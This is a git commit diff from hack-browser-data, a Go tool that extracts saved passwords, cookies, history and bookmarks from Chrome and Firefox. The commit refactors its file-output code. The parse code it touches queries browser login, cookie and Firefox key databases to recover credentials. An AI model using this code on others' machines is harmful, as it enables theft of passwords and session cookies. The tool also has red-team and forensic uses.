refactor: format code

pull/83/head
ᴍᴏᴏɴD4ʀᴋ 4 years ago
parent dc39068b96
commit dabeaabc15
  1. 3
      .gitignore
  2. 2
      cmd/cmd.go
  3. 184
      core/common/output.go
  4. 119
      core/common/parse.go
  5. 3
      utils/utils.go

3
.gitignore vendored

@ -181,4 +181,7 @@ Cookies
hack-browser-data hack-browser-data
History History
*.db *.db
*.sqlite
*.sqlite-shm
*.sqlite-wal

@ -23,7 +23,7 @@ func Execute() {
Name: "hack-browser-data", Name: "hack-browser-data",
Usage: "Export passwords/cookies/history/bookmarks from browser", Usage: "Export passwords/cookies/history/bookmarks from browser",
UsageText: "[hack-browser-data -b chrome -f json -dir results -e all]\n Get all data(password/cookie/history/bookmark) from chrome", UsageText: "[hack-browser-data -b chrome -f json -dir results -e all]\n Get all data(password/cookie/history/bookmark) from chrome",
Version: "0.1.0", Version: "0.1.7",
Flags: []cli.Flag{ Flags: []cli.Flag{
&cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "Verbose"}, &cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "Verbose"},
&cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browser, Value: "all", Usage: "Available browsers: all|" + strings.Join(core.ListBrowser(), "|")}, &cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browser, Value: "all", Usage: "Available browsers: all|" + strings.Join(core.ListBrowser(), "|")},

@ -3,6 +3,7 @@ package common
import ( import (
"bytes" "bytes"
"encoding/json" "encoding/json"
"errors"
"fmt" "fmt"
"os" "os"
@ -12,29 +13,16 @@ import (
"github.com/jszwec/csvutil" "github.com/jszwec/csvutil"
) )
var utf8Bom = []byte{239, 187, 191} var (
utf8Bom = []byte{239, 187, 191}
errWriteToFile = errors.New("write to file failed")
)
func (b *Bookmarks) OutPutJson(browser, dir string) error { func (b *Bookmarks) OutPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "bookmark", "json") filename := utils.FormatFileName(dir, browser, "bookmark", "json")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) err := writeToJson(filename, b.bookmarks)
defer func() {
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Errorf("create file %s fail", filename)
return err
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
enc.Encode(b.bookmarks)
_, err = file.Write(w.Bytes())
if err != nil { if err != nil {
log.Error(err) log.Error(errWriteToFile)
return err return err
} }
fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.bookmarks), filename) fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.bookmarks), filename)
@ -43,27 +31,9 @@ func (b *Bookmarks) OutPutJson(browser, dir string) error {
func (h *History) OutPutJson(browser, dir string) error { func (h *History) OutPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "history", "json") filename := utils.FormatFileName(dir, browser, "history", "json")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) err := writeToJson(filename, h.history)
defer func() {
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil { if err != nil {
log.Errorf("create file %s fail", filename) log.Error(errWriteToFile)
return err
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(h.history)
if err != nil {
log.Debug(err)
}
_, err = file.Write(w.Bytes())
if err != nil {
log.Error(err)
return err return err
} }
fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(h.history), filename) fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(h.history), filename)
@ -72,27 +42,9 @@ func (h *History) OutPutJson(browser, dir string) error {
func (l *Logins) OutPutJson(browser, dir string) error { func (l *Logins) OutPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "password", "json") filename := utils.FormatFileName(dir, browser, "password", "json")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) err := writeToJson(filename, l.logins)
defer func() {
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil { if err != nil {
log.Errorf("create file %s fail", filename) log.Error(errWriteToFile)
return err
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(l.logins)
if err != nil {
log.Debug(err)
}
_, err = file.Write(w.Bytes())
if err != nil {
log.Error(err)
return err return err
} }
fmt.Printf("%s Get %d passwords, filename is %s \n", log.Prefix, len(l.logins), filename) fmt.Printf("%s Get %d passwords, filename is %s \n", log.Prefix, len(l.logins), filename)
@ -101,119 +53,111 @@ func (l *Logins) OutPutJson(browser, dir string) error {
func (c *Cookies) OutPutJson(browser, dir string) error { func (c *Cookies) OutPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "cookie", "json") filename := utils.FormatFileName(dir, browser, "cookie", "json")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) err := writeToJson(filename, c.cookies)
if err != nil {
log.Error(errWriteToFile)
return err
}
fmt.Printf("%s Get %d cookies, filename is %s \n", log.Prefix, len(c.cookies), filename)
return nil
}
func writeToJson(filename string, data interface{}) error {
f, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
if err != nil {
return err
}
defer func() { defer func() {
if err := file.Close(); err != nil { if err := f.Close(); err != nil {
log.Error(err) log.Error(err)
} }
}() }()
if err != nil {
log.Errorf("create file %s fail", filename)
return err
}
w := new(bytes.Buffer) w := new(bytes.Buffer)
enc := json.NewEncoder(w) enc := json.NewEncoder(w)
enc.SetEscapeHTML(false) enc.SetEscapeHTML(false)
enc.SetIndent("", "\t") enc.SetIndent("", "\t")
err = enc.Encode(c.cookies) err = enc.Encode(data)
if err != nil { if err != nil {
log.Debug(err) log.Debug(err)
return err return err
} }
_, err = file.Write(w.Bytes()) _, err = f.Write(w.Bytes())
if err != nil { if err != nil {
log.Error(err) log.Error(err)
return err return err
} }
fmt.Printf("%s Get %d cookies, filename is %s \n", log.Prefix, len(c.cookies), filename)
return nil return nil
} }
func (b *Bookmarks) OutPutCsv(browser, dir string) error { func (b *Bookmarks) OutPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "bookmark", "csv") filename := utils.FormatFileName(dir, browser, "bookmark", "csv")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) if err := writeToCsv(filename, b.bookmarks); err != nil {
defer func() { log.Error(errWriteToFile)
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Errorf("create file %s fail %s", filename, err)
return err return err
} }
file.Write(utf8Bom)
data, err := csvutil.Marshal(b.bookmarks)
if err != nil {
return err
}
file.Write(data)
fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.bookmarks), filename) fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.bookmarks), filename)
return nil return nil
} }
func (h *History) OutPutCsv(browser, dir string) error { func (h *History) OutPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "history", "csv") filename := utils.FormatFileName(dir, browser, "history", "csv")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) if err := writeToCsv(filename, h.history); err != nil {
defer func() { log.Error(errWriteToFile)
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Errorf("create file %s fail %s", filename, err)
return err
}
file.Write(utf8Bom)
data, err := csvutil.Marshal(h.history)
if err != nil {
return err return err
} }
file.Write(data)
fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(h.history), filename) fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(h.history), filename)
return nil return nil
} }
func (l *Logins) OutPutCsv(browser, dir string) error { func (l *Logins) OutPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "password", "csv") filename := utils.FormatFileName(dir, browser, "password", "csv")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) if err := writeToCsv(filename, l.logins); err != nil {
defer func() { log.Error(errWriteToFile)
if err := file.Close(); err != nil {
log.Error(err)
}
}()
if err != nil {
log.Errorf("create file %s fail %s", filename, err)
return err return err
} }
file.Write(utf8Bom)
data, err := csvutil.Marshal(l.logins)
if err != nil {
return err
}
file.Write(data)
fmt.Printf("%s Get %d passwords, filename is %s \n", log.Prefix, len(l.logins), filename) fmt.Printf("%s Get %d passwords, filename is %s \n", log.Prefix, len(l.logins), filename)
return nil return nil
} }
func (c *Cookies) OutPutCsv(browser, dir string) error { func (c *Cookies) OutPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "cookie", "csv") filename := utils.FormatFileName(dir, browser, "cookie", "csv")
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) var tempSlice []cookies
for _, v := range c.cookies {
tempSlice = append(tempSlice, v...)
}
if err := writeToCsv(filename, tempSlice); err != nil {
log.Error(errWriteToFile)
return err
}
fmt.Printf("%s Get %d cookies, filename is %s \n", log.Prefix, len(c.cookies), filename)
return nil
}
func writeToCsv(filename string, data interface{}) error {
var d []byte
f, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
if err != nil {
log.Errorf("create file %s fail %s", filename, err)
return err
}
defer func() { defer func() {
if err := file.Close(); err != nil { if err := f.Close(); err != nil {
log.Error(err) log.Error(err)
} }
}() }()
_, err = f.Write(utf8Bom)
if err != nil { if err != nil {
log.Errorf("create file %s fail", filename) log.Error(err)
return err return err
} }
var tempSlice []cookies d, err = csvutil.Marshal(data)
for _, v := range c.cookies { if err != nil {
tempSlice = append(tempSlice, v...) return err
}
_, err = f.Write(d)
if err != nil {
log.Error(err)
return err
} }
file.Write(utf8Bom)
data, err := csvutil.Marshal(tempSlice)
file.Write(data)
fmt.Printf("%s Get %d cookies, filename is %s \n", log.Prefix, len(c.cookies), filename)
return nil return nil
} }

@ -5,7 +5,6 @@ import (
"database/sql" "database/sql"
"encoding/base64" "encoding/base64"
"io/ioutil" "io/ioutil"
"os"
"sort" "sort"
"time" "time"
@ -98,13 +97,8 @@ const (
func (b *Bookmarks) ChromeParse(key []byte) error { func (b *Bookmarks) ChromeParse(key []byte) error {
bookmarks, err := utils.ReadFile(ChromeBookmarks) bookmarks, err := utils.ReadFile(ChromeBookmarks)
defer func() {
if err := os.Remove(ChromeBookmarks); err != nil {
log.Error(err)
}
}()
if err != nil { if err != nil {
log.Debug(err) log.Error(err)
return err return err
} }
r := gjson.Parse(bookmarks) r := gjson.Parse(bookmarks)
@ -119,22 +113,16 @@ func (b *Bookmarks) ChromeParse(key []byte) error {
} }
func (l *Logins) ChromeParse(key []byte) error { func (l *Logins) ChromeParse(key []byte) error {
login := loginData{}
loginDB, err := sql.Open("sqlite3", ChromePassword) loginDB, err := sql.Open("sqlite3", ChromePassword)
defer func() { if err != nil {
if err := os.Remove(ChromePassword); err != nil { log.Error(err)
log.Error(err) return err
} }
}()
defer func() { defer func() {
if err := loginDB.Close(); err != nil { if err := loginDB.Close(); err != nil {
log.Debug(err) log.Debug(err)
} }
}() }()
if err != nil {
log.Debug(err)
return err
}
err = loginDB.Ping() err = loginDB.Ping()
var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
rows, err := loginDB.Query(queryLogin) rows, err := loginDB.Query(queryLogin)
@ -150,7 +138,7 @@ func (l *Logins) ChromeParse(key []byte) error {
create int64 create int64
) )
err = rows.Scan(&url, &username, &pwd, &create) err = rows.Scan(&url, &username, &pwd, &create)
login = loginData{ login := loginData{
UserName: username, UserName: username,
encryptPass: pwd, encryptPass: pwd,
LoginUrl: url, LoginUrl: url,
@ -176,12 +164,13 @@ func (l *Logins) ChromeParse(key []byte) error {
} }
func getBookmarkChildren(value gjson.Result, b *Bookmarks) (children gjson.Result) { func getBookmarkChildren(value gjson.Result, b *Bookmarks) (children gjson.Result) {
bm := bookmark{}
bm.ID = value.Get(bookmarkID).Int()
nodeType := value.Get(bookmarkType) nodeType := value.Get(bookmarkType)
bm.DateAdded = utils.TimeEpochFormat(value.Get(bookmarkAdded).Int()) bm := bookmark{
bm.URL = value.Get(bookmarkUrl).String() ID: value.Get(bookmarkID).Int(),
bm.Name = value.Get(bookmarkName).String() Name: value.Get(bookmarkName).String(),
URL: value.Get(bookmarkUrl).String(),
DateAdded: utils.TimeEpochFormat(value.Get(bookmarkAdded).Int()),
}
children = value.Get(bookmarkChildren) children = value.Get(bookmarkChildren)
if nodeType.Exists() { if nodeType.Exists() {
bm.Type = nodeType.String() bm.Type = nodeType.String()
@ -196,22 +185,16 @@ func getBookmarkChildren(value gjson.Result, b *Bookmarks) (children gjson.Resul
} }
func (h *History) ChromeParse(key []byte) error { func (h *History) ChromeParse(key []byte) error {
data := history{}
historyDB, err := sql.Open("sqlite3", ChromeHistory) historyDB, err := sql.Open("sqlite3", ChromeHistory)
defer func() { if err != nil {
if err := os.Remove(ChromeHistory); err != nil { log.Error(err)
log.Error(err) return err
} }
}()
defer func() { defer func() {
if err := historyDB.Close(); err != nil { if err := historyDB.Close(); err != nil {
log.Debug(err) log.Error(err)
} }
}() }()
if err != nil {
log.Debug(err)
return err
}
err = historyDB.Ping() err = historyDB.Ping()
var queryHistory = `SELECT url, title, visit_count, last_visit_time FROM urls` var queryHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
rows, err := historyDB.Query(queryHistory) rows, err := historyDB.Query(queryHistory)
@ -227,14 +210,14 @@ func (h *History) ChromeParse(key []byte) error {
lastVisitTime int64 lastVisitTime int64
) )
err := rows.Scan(&url, &title, &visitCount, &lastVisitTime) err := rows.Scan(&url, &title, &visitCount, &lastVisitTime)
data = history{ data := history{
Url: url, Url: url,
Title: title, Title: title,
VisitCount: visitCount, VisitCount: visitCount,
LastVisitTime: utils.TimeEpochFormat(lastVisitTime), LastVisitTime: utils.TimeEpochFormat(lastVisitTime),
} }
if err != nil { if err != nil {
log.Debug(err) log.Error(err)
continue continue
} }
h.history = append(h.history, data) h.history = append(h.history, data)
@ -243,26 +226,19 @@ func (h *History) ChromeParse(key []byte) error {
} }
func (c *Cookies) ChromeParse(secretKey []byte) error { func (c *Cookies) ChromeParse(secretKey []byte) error {
cookie := cookies{}
c.cookies = make(map[string][]cookies) c.cookies = make(map[string][]cookies)
cookieDB, err := sql.Open("sqlite3", ChromeCookies) cookieDB, err := sql.Open("sqlite3", ChromeCookies)
defer func() { if err != nil {
if err := os.Remove(ChromeCookies); err != nil { log.Debug(err)
log.Error(err) return err
} }
}()
defer func() { defer func() {
if err := cookieDB.Close(); err != nil { if err := cookieDB.Close(); err != nil {
log.Debug(err) log.Debug(err)
} }
}() }()
if err != nil {
log.Debug(err)
return err
}
err = cookieDB.Ping() err = cookieDB.Ping()
var queryCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` var queryCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
rows, err := cookieDB.Query(queryCookie) rows, err := cookieDB.Query(queryCookie)
defer func() { defer func() {
if err := rows.Close(); err != nil { if err := rows.Close(); err != nil {
@ -277,7 +253,7 @@ func (c *Cookies) ChromeParse(secretKey []byte) error {
value, encryptValue []byte value, encryptValue []byte
) )
err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent) err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent)
cookie = cookies{ cookie := cookies{
KeyName: key, KeyName: key,
Host: host, Host: host,
Path: path, Path: path,
@ -308,6 +284,7 @@ func (c *Cookies) ChromeParse(secretKey []byte) error {
func (h *History) FirefoxParse() error { func (h *History) FirefoxParse() error {
var queryFirefoxHistory = `SELECT id, url, title, last_visit_date, visit_count FROM moz_places` var queryFirefoxHistory = `SELECT id, url, title, last_visit_date, visit_count FROM moz_places`
var closeJournalMode = `PRAGMA journal_mode=off`
var ( var (
err error err error
keyDB *sql.DB keyDB *sql.DB
@ -320,14 +297,12 @@ func (h *History) FirefoxParse() error {
log.Error(err) log.Error(err)
return err return err
} }
_, err = keyDB.Exec(closeJournalMode)
if err != nil {
log.Error(err)
}
defer func() { defer func() {
if err := os.Remove(FirefoxData); err != nil { if err := keyDB.Close(); err != nil {
log.Error(err)
}
}()
defer func() {
err := keyDB.Close()
if err != nil {
log.Error(err) log.Error(err)
} }
}() }()
@ -360,6 +335,8 @@ func (h *History) FirefoxParse() error {
} }
func (b *Bookmarks) FirefoxParse() error { func (b *Bookmarks) FirefoxParse() error {
var queryFirefoxBookMarks = `SELECT id, fk, type, dateAdded, title FROM moz_bookmarks`
var closeJournalMode = `PRAGMA journal_mode=off`
var ( var (
err error err error
keyDB *sql.DB keyDB *sql.DB
@ -367,17 +344,15 @@ func (b *Bookmarks) FirefoxParse() error {
tempMap map[int64]string tempMap map[int64]string
bookmarkUrl string bookmarkUrl string
) )
var queryFirefoxBookMarks = `SELECT id, fk, type, dateAdded, title FROM moz_bookmarks`
keyDB, err = sql.Open("sqlite3", FirefoxData) keyDB, err = sql.Open("sqlite3", FirefoxData)
if err != nil { if err != nil {
log.Error(err) log.Error(err)
return err return err
} }
defer func() { _, err = keyDB.Exec(closeJournalMode)
if err := os.Remove(FirefoxData); err != nil { if err != nil {
log.Error(err) log.Error(err)
} }
}()
bookmarkRows, err = keyDB.Query(queryFirefoxBookMarks) bookmarkRows, err = keyDB.Query(queryFirefoxBookMarks)
defer func() { defer func() {
if err := bookmarkRows.Close(); err != nil { if err := bookmarkRows.Close(); err != nil {
@ -414,11 +389,6 @@ func (c *Cookies) FirefoxParse() error {
log.Debug(err) log.Debug(err)
return err return err
} }
defer func() {
if err := os.Remove(FirefoxCookie); err != nil {
log.Debug(err)
}
}()
defer func() { defer func() {
if err := cookieDB.Close(); err != nil { if err := cookieDB.Close(); err != nil {
log.Debug(err) log.Debug(err)
@ -534,20 +504,16 @@ func getDecryptKey() (item1, item2, a11, a102 []byte, err error) {
pwdRows *sql.Rows pwdRows *sql.Rows
nssRows *sql.Rows nssRows *sql.Rows
) )
defer func() {
if err := os.Remove(FirefoxKey4DB); err != nil {
log.Error(err)
}
}()
keyDB, err = sql.Open("sqlite3", FirefoxKey4DB) keyDB, err = sql.Open("sqlite3", FirefoxKey4DB)
if err != nil {
log.Error(err)
return nil, nil, nil, nil, err
}
defer func() { defer func() {
if err := keyDB.Close(); err != nil { if err := keyDB.Close(); err != nil {
log.Error(err) log.Error(err)
} }
}() }()
if err != nil {
log.Debug(err)
}
var queryPassword = `SELECT item1, item2 FROM metaData WHERE id = 'password'` var queryPassword = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
var queryNssPrivate = `SELECT a11, a102 from nssPrivate` var queryNssPrivate = `SELECT a11, a102 from nssPrivate`
err = keyDB.Ping() err = keyDB.Ping()
@ -585,11 +551,6 @@ func getLoginData() (l []loginData, err error) {
if err != nil { if err != nil {
return nil, err return nil, err
} }
defer func() {
if err := os.Remove(FirefoxLoginData); err != nil {
log.Error(err)
}
}()
h := gjson.GetBytes(s, "logins") h := gjson.GetBytes(s, "logins")
if h.Exists() { if h.Exists() {
for _, v := range h.Array() { for _, v := range h.Array() {

@ -82,8 +82,7 @@ func WriteFile(filename string, data []byte) error {
} }
func FormatFileName(dir, browser, filename, format string) string { func FormatFileName(dir, browser, filename, format string) string {
r := strings.TrimSpace(strings.ToLower(browser)) r := strings.Replace(strings.TrimSpace(strings.ToLower(browser)), " ", "_", -1)
r = strings.Replace(browser, " ", "_", -1)
p := path.Join(dir, fmt.Sprintf("%s_%s.%s", r, filename, format)) p := path.Join(dir, fmt.Sprintf("%s_%s.%s", r, filename, format))
return p return p
} }

Loading…
Cancel
Save